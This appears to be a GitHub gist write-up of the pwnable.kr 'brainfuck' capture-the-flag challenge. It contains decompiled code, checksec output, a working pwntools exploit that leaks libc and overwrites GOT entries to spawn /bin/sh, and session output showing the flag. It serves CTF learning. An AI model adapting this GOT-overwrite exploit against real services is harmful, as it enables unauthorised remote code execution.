Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Pwnable.kr brainfuck writeup

Pwnable.kr brainfuck writeup

ihciah@gmail.com

Load bf with IDA:

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4
  int v4; // edx@4
  size_t i; // [sp+28h] [bp-40Ch]@1
  int v6; // [sp+2Ch] [bp-408h]@1
  int v7; // [sp+42Ch] [bp-8h]@1

  v7 = *MK_FP(__GS__, 20);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(&v6, 0, 1024u);
  fgets((char *)&v6, 1024, stdin);
  for ( i = 0; i < strlen((const char *)&v6); ++i )
    do_brainfuck(*((_BYTE *)&v6 + i));
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

do_brainfuck:

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  int v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case '>':
      result = p++ + 1;
      break;
    case '<':
      result = p-- - 1;
      break;
    case '+':
      result = p;
      ++*(_BYTE *)p;
      break;
    case '-':
      result = p;
      --*(_BYTE *)p;
      break;
    case '.':
      result = putchar(*(_BYTE *)p);
      break;
    case ',':
      v2 = p;
      result = getchar();
      *(_BYTE *)v2 = result;
      break;
    case '[':
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

checksec using checksec --file bf:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	FORTIFIED FORTIFY-able  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes	0		4	bf

We can move a pointer and write value at that address using ,, also, we can use . to read data from it. So we can leak libc address, we can replace given function with the function in libc.

Since we cannot change the string "[ and ] not supported." in .rodata, so it may be not easy to modify puts's got table to system. The function putchar is not suitable either, because the parameter is a char instead of pointer.

Here I modify putchar's got table to let it jump to _start, and let memset be gets, fgets be system.

➜  ctf  python bf.py
[+] Opening connection to pwnable.kr on port 9001: Done
[*] Switching to interactive mode
welcome to brainfuck testing system!!
type some brainfuck instructions except [ ]
$ cat flag
BrainFuck? what a weird language..
$ id
uid=1008(bf) gid=1008(bf) groups=1008(bf)
from pwn import *
#ihciah@gmail.com
libc = ELF('/home/c/ctf/libc.so.6')
bf = remote('pwnable.kr', 9001)
bf.recvline_startswith('type')
bf.sendline('<'*112+'.'+'.>'*4+'<'*4+',>'*4+'<'*(4+32)+',>'*4+'<'*4+'>'*28+',>'*4+'.')
bf.recv(1)
x=bf.recv(4)[::-1]
jump=0x080484E0
bf.send(p32(jump))
system=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['system']
gets=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['gets']
bf.send(p32(system))
bf.send(p32(gets))
bf.sendline('/bin/sh\x00')
bf.interactive()

Hello,
It would have been good, if you have explained in detail of how you get control over IP(Instruction Pointer) with following input. '<'_112+'.'+'.>'_4+'<'_4+',>'4+'<'(4+32)+',>'_4+'<'_4+'>'_28+',>'*4+'.'

Thank you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment